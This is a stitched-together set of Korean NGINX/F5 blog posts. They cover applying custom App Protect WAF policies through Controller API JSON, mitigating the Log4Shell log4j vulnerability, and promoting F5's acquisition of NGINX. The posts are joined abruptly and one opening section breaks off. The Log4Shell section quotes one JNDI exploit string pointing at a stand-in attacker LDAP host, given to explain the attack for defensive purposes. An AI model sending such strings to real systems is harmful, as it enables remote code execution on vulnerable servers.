편집자 - 이 게시물은 10부작 시리즈의 일부입니다.
또한 전체 블로그 세트를 무료 전자책인 ' 테스트에서 프로덕션까지 Kubernetes 활용' 으로 다운로드할 수 있습니다 .
전체 블로그 모음을 '테스트에서 프로덕션으로: Kubernetes 활용하기'라는 무료 전자책으로도 다운로드할 수 있습니다.
Ingress 컨트롤러 선택 가이드의 첫 번째 부분에서는 요구 사항을 식별하는 방법에 대해 설명했습니다. 하지만 아직 제품을 테스트할 시점은 아닙니다!
인프라와 관련하여 고려해야 할 또 다른 요소가 있습니다.인증입니다.
PUT 요청으로 NGINX App Protect WAF 정책을 보안 정책 엔드포인트에 전달합니다.
https://{{CONTROLLER_FQDN}}/api/v1/security/policies/{{policy}}다음과 유사한 JSON 개체가 있습니다.
{
"metadata": {
"name": "lowriskapppolicy",
"displayName": "Low-Risk App Protect Policy",
"description": "Corporate WAF policy for internal low-risk apps",
},
"desiredState": {
"content": {
"policy": {
"name": "lowriskapppolicy",
"template": {
"name": "POLICY_TEMPLATE_NGINX_BASE"
},
"applicationLanguage": "utf-8",
"enforcementMode": "blocking",
"signatures": [
{
"signatureId": 123458888,
"enabled": false
},
{
"signatureId": 304500123,
"enabled": false
}
],
}
}
}
}}PUT 요청을 통해 보안 전략 엔드포인트에 WAF 정책을 참조하는 보안 전략을 만듭니다.
https://{{CONTROLLER_FQDN}}/api/v1/security/strategies/{{strategy}}다음과 유사한 JSON 개체가 있습니다.
{
"metadata": {
"name": "lowriskstrategy",
"displayName": "Low-Risk App Strategy",
"description": "Corporate strategy for internal low-risk apps",
},
"desiredState": {
"content": {
"securityPolicyRef": "/security/policies/lowriskapppolicy"
}
}
}앱 구성 요소(예: 앱의 앱 URI)에 WAF 정책을 적용하여 앱 구성 요소 엔드포인트에 대한 PUT 또는 POST 요청으로 보안 전략을 참조합니다.
https://{{Controller_FQDN}}/api/v1/services/environments/{{env}}/apps/{{app}}/components/{{component}}다음과 유사한 JSON 개체가 있습니다.
{ "metadata": { "name": "main" }, "desiredState": { "ingress": { "uris": { "/": { } }, . . . "security": { "strategyRef": { "ref": "/security/strategies/lowriskstrategy" }, "waf": { "isEnabled": true } }, . . . }
보안 전략 만들기 페이지에서 보안 전략을 만드세요.
NGINX App Protect WAF 정책이 이미 Controller에서 사용 가능한 경우 정책 필드의 드롭 다운 메뉴에서 선택합니다.
아직 나열되지 않은 경우 + 새로 만들기를 클릭합니다.
나타나는 보안 정책 만들기 팝업 창에서 JSON 형식의 NGINX App Protect WAF 정책이 포함된 파일을 업로드합니다.
WAF 정책을 적용할 앱의 앱 구성 요소 편집 페이지에서 연관된 보안 전략을 선택합니다.
Controller App Security의 BYO App Protect Policy 기능(Controller ADM 3.20에서 사용 가능)을 사용하면 이제 사용자 지정 NGINX App Protect WAF 정책을 사용할 수 있으므로 NGINX App Protect WAF 또는 F5 Advanced WAF를 사용하여 구축된 견고하고 일관되며 검증된 정책으로 새 앱을 더 쉽게 보호할 수 있습니다.
무엇보다도 BYO App Protect Policy와 Controller App Security를 사용하면 검증된 단일 정책을 여러 앱에 적용할 수 있어 정책 변경 프로세스가 크게 간소화되고 간소화됩니다.
NGINX Controller는 보안 팀이 앱 팀에 셀프 서비스 모델로 보안을 제공할 수 있도록 지원하여 조직의 생산성과 보안을 모두 강화합니다.
NGINX Controller App Security를 직접 사용해 보고 싶으신가요?
오늘 무료 30일 NGINX Controller 체험판을 시작하거나 저희에게 연락하여 사용 사례에 대해 논의하세요.
2021년 12월 10일 금요일은 전 세계의 많은 IT 종사자들이 기억할 날입니다. Java 애플리케이션의 인기 있는 로깅 라이브러리인 log4j 에서 매우 중요한 제로데이 취약점이 발견된 날입니다. 이 익스플로잇에 "Log4Shell"이라는 이름이 빠르게 생겨났고, 모든 규모의 회사가 완화 전략을 구현하기 위해 서둘렀습니다. 그 후 패치 마라톤이 이어졌고, 글을 쓰는 시점에는 아직 진행 중입니다. NGINX와 F5는 위협을 분석하였고, 이 게시물에서는 애플리케이션을 보호하기 위한 다양한 완화 옵션을 제공합니다.
Log4Shell이란?
log4j 라이브러리의 버전 2.15 및 이전 버전은 CVE-2021-44228 에 설명된 원격 코드 실행(RCE) 취약성에 취약합니다. (log4j의 버전 2.16 은 취약성을 패치합니다.) 이 취약성을 악용한 것에는 Log4Shell이라는 이름이 붙었습니다. 하지만 이 취약성은 무엇이고 왜 그렇게 중요한 것일까요? CVE에 설명된 대로 Apache log4j Java 라이브러리는 입력을 제대로 검증하지 않습니다.
log4j 라이브러리와 Java 런타임의 Java Naming and Directory Interface(JNDI) 기능을 사용하면 원격 조회를 수행하여 LDAP의 사용자 이름이나 DNS의 IP 주소와 같은 외부 소스에서 데이터를 검색하여 로그 항목에 포함할 수 있습니다. 불행히도 원격 공격자는 JNDI를 하이재킹하여 자신이 작성한 Java 코드를 실행할 수 있습니다. 다음 다이어그램은 공격을 보여줍니다.
출처: 스위스 정부 컴퓨터 비상 대응팀
취약한 대상을 악용하려면 공격자는 애플리케이션 코드를 속여 . 와 같은 문자열을 포함하는 로그 항목을 작성해야 합니다 ${jndi:ldap://evil.xa/x}. 흥미로운 질문은 문자열을 어디에 넣어서 로그 메시지에 들어가게 할 것인가입니다.
많은 애플리케이션에서 로깅은 필수적이며, HTTP 헤더(예: User-Agent, X-Forwarded-ForURI, 요청 본문)를 포함하여 모든 수신 요청에 대한 다양한 정보가 로깅됩니다. 공격 벡터는 많고 문자열이 log4j로 로깅되는 한 애플리케이션을 악용할 수 있습니다.
NGINX가 이 취약점에 영향을 받나요?
아니요. NGINX 자체는 C로 작성되었고 Java나 Java 기반 라이브러리를 사용하지 않기 때문에 이 익스플로잇에 취약하지 않습니다. 모든 F5 및 NGINX 제품에 대한 CVE-2021-44228 에 대한 공식 대응은 AskF5 Knowledge Base의 문서 K19026212를 참조하세요 .
NGINX는 익스플로잇을 완화하는 데 어떻게 도움이 되나요?
위에서 언급했듯이, 공격자는 HTTP 요청의 어딘가에 타겟 애플리케이션에 익스플로잇 문자열을 보내야 합니다. NGINX는 들어오는 요청을 스캔하여 침해 징후(IOC)를 확인하고 차단하기 위한 여러 도구를 제공합니다.
악성 요청을 차단하는 가장 효율적인 방법은 웹 애플리케이션 방화벽(WAF)을 사용하는 것입니다. 요청 데이터를 미리 컴파일된 규칙 세트와 비교하여 들어오는 모든 요청에서 CVE-2021-44228 의 징후를 스캔 합니다. 그러나 제로데이 익스플로잇 이후 WAF 규칙을 업데이트하는 것은 군비 경쟁과 같습니다. 주어진 익스플로잇에 대한 WAF 규칙이 사용 가능하자마자 공격자는 WAF를 우회할 수 있는 기술과 패턴을 찾습니다. WAF 규칙을 최신 상태로 유지하세요.
NGINX ModSecurity WAF
ModSecurity 는 오픈 소스 WAF이며, NGINX Plus용 NGINX ModSecurity WAF 모듈인 NGINX에서 상용 제품으로도 제공됩니다. OWASP ModSecurity Core Rule Set (CRS)에는 Log4Shell을 완화할 수 있는 기존 규칙(932130)이 포함되어 있습니다. 이 솔루션과 보다 고급 보호에 대한 자세한 내용은 CRS 블로그를 참조하세요 .
[ 편집자 - NGINX ModSecurity WAF는 2022년 4월 1 일부로 공식적으로 판매 종료 되었으며 2024년 3월 31일부터 수명 종료 로 전환됩니다 . 자세한 내용은 블로그에서 F5 NGINX ModSecurity WAF가 수명 종료로 전환 중입니다<.htmla>를 참조하세요 .]
NGINX 앱 보호 WAF
NGINX App Protect WAF는 최신 앱 보안 솔루션입니다. 위협과 알려진 WAF 우회에 대한 지속적인 조사를 바탕으로, Log4Shell 공격을 효과적으로 탐지하기 위해 Server Side Code Injection Signature Set을 새로운 규칙으로 업데이트했습니다. 자세한 내용은 AskF5 Knowledge Base를 참조하세요 .
NGINX 자바스크립트 모듈
NGINX와 NGINX Plus는 많은 Java 기반 애플리케이션 앞에서 리버스 프록시로 널리 배포됩니다. WAF에 액세스할 수 없는 사용자와 고객을 위해 NGINX JavaScript 모듈 (njs)을 사용하는 스크립트를 만들었습니다. 이 스크립트는 들어오는 요청에서 HTTP 헤더, URI 및 요청 본문을 스캔하여 알려진 IOC 문자열과 정규 표현식을 사용하여 입력 데이터를 일치시키고 악성 요청을 차단합니다. njs 스크립트는 GitHub 에서 사용할 수 있습니다 . njs 모듈 설치에 대한 지침은 NGINX Plus 관리자 가이드를 참조하세요 .
요약
Log4Shell에 대한 가장 효과적인 솔루션은 JDNI를 비활성화하는 log4j 버전 2.16 이상으로 애플리케이션 코드를 패치하는 것입니다. 즉시 가능하지 않은 경우, 패치를 적용할 시간이 있을 때까지 WAF가 위협을 효과적으로 완화할 수 있습니다. 아직 WAF가 없는 경우, njs 스크립트를 사용하여 위협에 대한 특정 보호 기능을 구현할 수 있습니다. 아래 리소스를 사용하여 자세히 알아보고 애플리케이션에 가장 적합한 보호 기능을 선택하세요.
자원
세계에서 가장 성공적인 프리미엄 자동차 제조업체 중 하나가 애플리케이션 보안 솔루션을 선택하면 해당 솔루션이 성능 및 안정성에 대한 기준을 충족하는지 확인할 수 있습니다. 전 세계 100개 이상의 시장에서 활동하는 Audi Group이 최근 최신 애플리케이션 개발을 위한 Kubernetes 기반 플랫폼을 보호하기 위해 F5 NGINX App Protect WAF를 선택한 것을 자랑스럽게 생각합니다.
NGINX App Protect는 F5가 업계를 선도하는 보안 전문 지식을 최신 앱 도구에 통합하여 디지털 전환 여정에서 고객을 지원하는 방법의 대표적인 사례입니다. 이 경우, 수십 년 동안 BIG-IP 고객이 시도하고 테스트한 F5 Advanced Web Application Firewall (WAF)의 보안 엔진을 NGINX로 이식했습니다. NGINX는 뛰어난 성능, 유연한 프로그래밍 가능성, 모든 환경에서의 배포 용이성 덕분에 최신 앱 제공에 이상적인 플랫폼으로 알려져 있습니다.
많은 F5 고객과 마찬가지로 Audi는 BIG‑IP와 NGINX를 모두 사용합니다. 다양한 환경에 적합한 폼 팩터가 있는 제품에서 공통 보안 엔진을 활용함으로써 Audi는 전체 인프라가 OWASP Top 10 및 기타 고급 위협으로부터 보호된다는 확신을 가질 수 있습니다. 또한 Audi의 DevOps 및 SecOps 팀은 F5의 강력한 지원과 조화롭게 운영할 수 있습니다.
F5는 앱 제공 환경에서 발생하는 변화가 불가피하다는 것을 인식하고 2019년에 NGINX를 인수했습니다. NGINX App Protect는 F5와 NGINX를 함께 더 좋게 만드는 시너지의 첫 번째 시연 중 하나입니다. 우리는 이러한 시너지를 더욱 발전시켜 F5의 보안 포트폴리오와 현대 애플리케이션 환경에서의 역할을 강화하기를 기대합니다.
NGINX가 F5를 더 좋게 만드는 방법
2010년대 중반, F5는 모던 앱 제공 환경에서 계속 성공하려면 제품 포트폴리오를 구축해야 한다는 것을 깨달았습니다. 오늘날 우리는 이러한 추세에서 입증된 것처럼 그러한 변화가 가속화되는 것을 봅니다.
기업이 최신 앱 배포 및 아키텍처로 이동함에 따라 애플리케이션 보안 분야도 인프라를 공유 서비스로 취급하는 모델에서 벗어나고 있습니다. 점점 더 마이크로서비스와 쿠버네티스가 최신 앱 환경을 지배하고 있으며, 보안 도구가 제공 프로세스에 완전히 통합되었습니다. 2021년 쿠버네티스 도입 보고서 에 따르면 , IT 전문가의 89%가 쿠버네티스 도입과 기능이 계속 증가함에 따라 쿠버네티스가 향후 2~3년 동안 인프라 관리에서 역할을 확대할 것으로 예상합니다.
BIG‑IP와 NGINX는 유사한 핵심 애플리케이션 제공 기능을 제공하지만 서로 다른 앱 개발 및 제공 환경에 적합합니다. BIG‑IP의 비교적 큰 입지는 모든 애플리케이션 유형, 특히 고도로 분산되고 동적인 애플리케이션에 이상적이지 않습니다. 특히 DevSecOps가 보안을 시프트 레프트하고, 개발자가 그 어느 때보다 빠르게 새롭고 업데이트된 소프트웨어를 배포함에 따라 기업은 DevOps 워크플로에 쉽게 통합되는 더 작은 입지의 솔루션이 필요합니다.
F5는 NGINX App Protect 및 기타 NGINX 제품 형태로 해당 솔루션을 제공합니다. 또한 NGINX는 오늘날의 현대 앱 개발자와 네트워크 및 보안 관리보다는 애플리케이션 구축에 집중하는 모든 사람의 오픈 소스 기술에 대한 갈망을 충족합니다. DevSecOps 문화도 오픈 소스로 기울어지고 NGINX는 F5에 대규모의 열정적인 오픈 소스 커뮤니티와 현대적인 사고방식을 가져왔습니다. 그 외에도 NGINX의 현대적인 모듈형 아키텍처는 모듈 형태로 F5 보안 기술을 쉽게 통합할 수 있게 해줍니다.
오픈 소스의 뿌리를 가진 NGINX는 앱 개발 및 마이크로서비스 아키텍처에서 커뮤니티 중심의 사고방식을 전면에 내세웠습니다. 이제 NGINX는 F5가 보다 전통적인 문화를 확장하고 제품 개발의 일부로 오픈 소스를 수용하도록 영향을 미치고 있습니다. 분명한 예로, Sprint 2.0에서 F5는 Kubernetes Gateway API SIG 및 커뮤니티와 같은 오픈 소스 프로젝트에 대한 참여 확대를 발표했습니다 .
F5가 NGINX를 개선하는 데 어떻게 도움이 되는가
F5 Advanced WAF는 기존 앱에 대한 자체 관리 및 세부적인 제어를 원하는 보안 중심 조직에 완벽하게 적합합니다. WAF 및 DoS 보안 엔진은 오랫동안 Advanced WAF의 모듈로 BIG-IP 고객에게 제공되었지만 마이크로서비스 아키텍처 및 환경에 적합한 가벼운 폼 팩터로는 제공되지 않았습니다. 반면 NGINX 고객은 대기 시간을 늘리지 않는 Advanced WAF의 풍부한 기능 세트를 갖춘 WAF를 찾는 데 어려움을 겪었습니다.
NGINX 인수 후, F5는 신뢰할 수 있는 애플리케이션 보안 솔루션을 NGINX로 이식하는 것을 최우선 순위로 삼아, 최신 애플리케이션을 구축하는 DevOps 및 DevSecOps 팀의 요구 사항을 충족하는 고성능 및 경량 폼 팩터에서 엔터프라이즈급 보안 전문 지식 을 제공했습니다. 그 결과 NGINX App Protect가 탄생했습니다. 2020년 출시 직후, 저지연, 고성능, 바이패스 기술에 대한 저항성에 대한 새로운 벤치마크를 설정했습니다.
Advanced WAF의 기능을 NGINX에 통합하면 다음과 같은 많은 이점을 얻을 수 있습니다.
NGINX App Protect WAF는 작은 공간에서 고성능을 제공하며, 마이크로서비스 아키텍처, 클라우드 및 컨테이너에 최적화되었습니다. NGINX App Protect DoS는 감지하기 어려운 Layer 7 공격 으로부터 방어합니다 .
그리고 F5는 Right Shift 하려는 기업에 어떤 서비스를 제공할까요? 실전에서 검증되고 뛰어난 애플리케이션 보안을 CI/CD 파이프라인에 주입하여 빠르고 빈번한 릴리스의 내재적 위험을 줄일 수 있도록 합니다. API 관리 및 애플리케이션 제공을 위한 F5 NGINX Controller App Security 애드온을 사용하면 AppDev 및 DevOps 팀이 기업 보안 요구 사항을 준수하는 동시에 셀프 서비스 방식으로 개발 파이프라인에 WAF 보호를 구현할 수 있습니다. NGINX App Protect Policy Converter를 사용하여 모든 BIG‑IP 및 NGINX 배포 환경에 일관된 정책을 적용할 수도 있습니다 .
머신 러닝 및 휴대용 정책을 통한 거버넌스 및 관찰성 개선
물론 기술은 끊임없이 발전하고 있으며, F5와 NGINX는 앞으로도 혁신을 계속할 계획입니다.
F5의 "적응형 애플리케이션" 비전은 포괄적인 보안을 약속합니다.
현대적 위협이 점점 더 복잡해짐 에 따라 앱이 위협 및 기타 변화에 적응하는 능력은 그 어느 때보다 중요해지고 있습니다. 이상적인 세상에서 앱 서비스는 수요에 따라 독립적으로 확장됩니다. F5는 이를 "적응형 애플리케이션"의 신규 시장으로 진입하는 것으로 봅니다 . 일관되고 선언적인 API 계층을 통해 스스로를 돌보고 진화하는 보안 위협을 피하는 방법을 배우는 애플리케이션을 쉽게 관리할 수 있어 고객이 현대화된 경험을 안전하게 제공할 수 있습니다.
Shape 및 Threat Stack과 같은 인수는 ML 및 관찰성으로 F5를 강화합니다.
F5는 세계적 수준의 애플리케이션 보안 및 제공 기술 포트폴리오를 더욱 확장하기 위해 2020년에 온라인 사기 및 남용 방지 분야의 선두주자인 Shape Security를 인수했고, 2021년에는 클라우드 및 컨테이너 기반 관찰 솔루션인 Threat Stack을 인수했습니다. Shape와 Threat Stack 기술을 통합하여 F5는 사전 위험 식별 및 실시간 위협 완화와 애플리케이션 인프라 및 워크로드 전반에 걸친 향상된 가시성을 갖춘 종단 간 애플리케이션 보안 솔루션을 제공합니다. 대시보드와 모니터링은 이미 진행 중이며, 머신 러닝(ML)에 초점을 맞춘 프로젝트도 진행 중입니다. F5는 정교하고 안정성 있는 보안에 대한 필요성을 인식하고 이처럼 제품을 확장하는 데 전념하고 있습니다.
플랫폼 전반에 걸친 하나의 WAF 엔진으로 어디서나 효과적인 보안 보장
F5 고객은 공통 WAF 기술을 사용하여 기존 환경에서 컨테이너화 및 클라우드 환경으로, F5 Advanced WAF에서 NGINX App Protect로 마이그레이션할 때 표준화된 보안 정책을 유지할 수 있습니다. WAF 제품 전반의 이식성은 WAF 정책에 대한 공유 선언적 API를 사용하여 F5 고객에게 지속적인 보안과 신뢰를 보장합니다. F5는 애플리케이션 워크로드에 가깝게 유지하여 애플리케이션과 아키텍처의 요구 사항을 가장 잘 충족할 수 있는 폼 팩터에서 WAF 기능을 활성화하는 데 전념합니다.
지금 F5 NGINX를 시작하세요
F5 NGINX에 대한 최신 정보를 얻으려면 계정 팀이든 파트너이든 신뢰할 수 있는 기술 고문과 협력하세요. 더 나은 관리를 위해 환경이 지속적으로 간소화되고 있으며, 특히 커뮤니티 에 중점을 두고 있어 연결 상태를 유지하고 구독하기가 그 어느 때보다 쉬워졌습니다. 시프트레프트 하든, 복잡한 보호가 필요하든, 출시 이점을 찾든, F5 NGINX의 검증된 기술, 더 작은 설치 공간, 고성능 솔루션은 현재와 미래에 민첩하고 가벼운 보안을 보장합니다.
앱 개발 여정의 어느 단계에 있든, 당사의 상업용 보안 솔루션에 대한 무료 30일 평가판을 시작해보세요 .
